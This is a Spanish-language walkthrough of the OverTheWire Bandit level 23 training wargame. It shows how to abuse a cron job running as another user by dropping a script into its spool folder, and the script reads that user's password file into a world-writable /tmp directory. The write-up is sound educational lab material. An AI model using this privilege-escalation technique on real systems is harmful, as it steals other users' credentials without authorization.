OverTheWire

Bandit 23

Bienvenido al nivel 23 de Bandit en OverTheWire

Nos indican que investiguemos una tarea cron en el directorio /etc/cron.d/, nos ayudará a obtener la contraseña del siguiente nivel.

Herramientas:
chmod, cron, crontab, crontab(5) (use “man 5 crontab” to access this)

Lo primero es investigar la tarea:

cat /etc/cron.d/cronjob_bandit24
#cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null

Vemos que se ejecuta un script guardado en /usr/bin/cronjob_bandit24.sh.
Haremos un cat de ese archivo para ver que ejecuta:

 cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash  
shopt -s nullglob  
myname=$(whoami)  
cd /var/spool/"$myname"/foo || exit  
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"  
for i in * .*;  
do  
    if [ "$i" != "." ] && [ "$i" != ".." ];  
    then  
        echo "Handling $i"  
        owner="$(stat --format "%U" "./$i")"  
        if [ "${owner}" = "bandit23" ] && [ -f "$i" ]; then  
            timeout -s 9 60 "./$i"  
        fi  
        rm -rf "./$i"  
    fi  
done  

Este script guarda en una variable el nombre de aquel que lo ejecuta, entra en un directorio /var/spool del usuario y ejecuta todos los scripts que encuentre en la carpeta.

Tiene restricciones si el usuario es bandit23, da un timeout de 60 segundos y termina el proceso del archivo ejecutado. Por ultimo borra todo lo que haya en ese directorio.

Crearemos un archivo en /tmp/temp y lo introduciremos en esta carpeta con cp. script.sh

#!/bin/bash
cat /etc/bandit_pass/bandit24 >> /tmp/temp/password.txt

Este script leerá el fichero con la contraseña y la escribirá en un archivo en nuestra carpeta temporal.

Es importante que bandit24 tenga permisos de escritura en nuestro directorio, asi que le asignaremos los permisos adecuados.

chmod 777 /tmp/temp

Luego copiaremos el fichero al directorio en el que se ejecutan los script como bandit24.

cp script.sh /var/spool/bandit24/foo/

Y voilá, veremos haciendo un ls el archivo password.txt en /tmp/temp con la contraseña de bandit24.

¡Vamos al siguiente nivel con esta contraseña!

Enlaces de Interes